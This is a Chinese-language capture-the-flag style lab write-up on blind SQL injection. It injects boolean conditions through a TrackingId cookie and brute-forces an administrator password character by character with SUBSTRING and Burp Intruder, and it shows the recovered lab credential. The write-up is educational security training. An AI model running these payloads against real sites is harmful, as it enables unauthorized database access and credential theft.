# Web SQL injection Lab11 本題存在 盲目 SQL 注入(Blind SQLi)漏洞,應用程式使用 追蹤 Cookie(TrackingId) 做分析,並在後端 SQL 查詢中使用了這個 Cookie 值。 查詢結果不會直接回傳、也不顯示錯誤訊息。 只要查詢有結果,頁面就會出現 Welcome back 字樣。 資料庫有一張 users 資料表,裡面有 username 和 password 欄位。 你的目標是透過盲注拿到 administrator 的密碼,並登入系統。 密碼僅包含小寫英文字母和數字(a-z, 0-9) --- 一樣先進入網站並攔截請求。 ![image](https://hackmd.io/_uploads/H1rDmDn4lg.png) ![image](https://hackmd.io/_uploads/H1PUVwnVgl.png) 先測試回應是否受布林條件影響,這代表能用回應內容來判斷布林式查詢的結果。 ``` Cookie: TrackingId=nHCDUjY6KCzwNH79'+and+1=1-- ``` ![image](https://hackmd.io/_uploads/SyZOrD2Vlg.png) ``` Cookie: TrackingId=nHCDUjY6KCzwNH79'+and+1=0-- ``` ![image](https://hackmd.io/_uploads/r1_lLDhNex.png) 沒有出現 Welcome back ,確定是盲注。 所以我們先來找 user 跟 administrator 使用者在不在。 ``` '+and+(select+'x'+from+users+LIMIT+1)='x'-- ``` SQL 長這樣: ``` SELECT * FROM products WHERE ... AND (SELECT 'x' FROM users LIMIT 1) = 'x' -- ``` `SELECT 'x' FROM users LIMIT 1`: 從 users 表中選出第一筆資料(實際選什麼不重要,硬塞個 'x' 字串)。 `= 'x'`: 檢查內部查詢的結果是不是等於 'x',如果是,整體條件為真。 `--`: SQL 註解,把後面原有的語句關掉(例如密碼判斷)。 ![image](https://hackmd.io/_uploads/ry8aPv24eg.png) 出現 Welcome back,確定有 users 表。再來是確定有沒有使用者。 ``` '+and+(select+username+from+users+where+username='administrator')='administrator'-- ``` SQL 長這樣: ``` SELECT * FROM products WHERE category='Gifts' AND (SELECT username FROM users WHERE username='administrator') = 'administrator' -- ``` `SELECT username FROM users WHERE username='administrator'` → 嘗試從資料表 users 找出帳號為 administrator 的使用者名稱。 ![image](https://hackmd.io/_uploads/r1l5_Dh4ge.png) 出現 Welcome back,確定有 administrator 。 確定要的人都有後,再來就是爆破我們的密碼,所以丟到 Intruder 裡面比較快。 ![image](https://hackmd.io/_uploads/Bk2i5w2Nex.png) ``` ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a ``` SQL 語法: ``` SELECT * FROM products WHERE category = '' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1) = 'a' ``` `(SELECT 'x' FROM users WHERE username='administrator' AND LENGTH(password)>1)` → 如果使用者 administrator 存在,且其密碼長度大於 1,這個子查詢會回傳 'a' 然後再比對 'a' = 'a' ➜ 條件為真。 如果條件不成立(例如密碼長度不大於 1,或該帳號不存在) ➜ 子查詢沒東西回傳 ➜ NULL = 'a' ➜ 條件為假。 ![image](https://hackmd.io/_uploads/BJWc9Dn4ex.png) 發現在第 20 次後就沒有出現 Welcome back 的文字了(0~19),所以我們可以知道密碼長度為 20。 再來是爆破每一位的英文數字。 ``` ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§ ``` SQL 語法: ``` SELECT * FROM products WHERE category = '' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') = 'a' ``` `SUBSTRING(password, 1, 1)` → 抓出密碼的第 1 個字元 `FROM users WHERE username='administrator'` → 限定使用者是 administrator `= 'a'` → 拿該字元跟 'a' 比較,條件成立才會出現 Welcome back `'§a§'` → Burp Intruder 中,§ 是 payload 變數位置。Burp 會把這邊的 a 替換成你提供的字元(a~z, 0~9)一個個測。 ![image](https://hackmd.io/_uploads/BJREhD3Vgl.png) :::danger 密碼爆破位數 ::: :::success 替換成提供的字元 ::: :::info 0 ~ 9、a ~ z ::: 當我們 20 位數爆破完後會得到一串亂碼。 ![image](https://hackmd.io/_uploads/rJcs1On4el.png) `administrator:8qrm5p9u1fyr0kyvbgc4` ![image](https://hackmd.io/_uploads/HkE1ldhElx.png) ![image](https://hackmd.io/_uploads/HJ5ylunEll.png) ---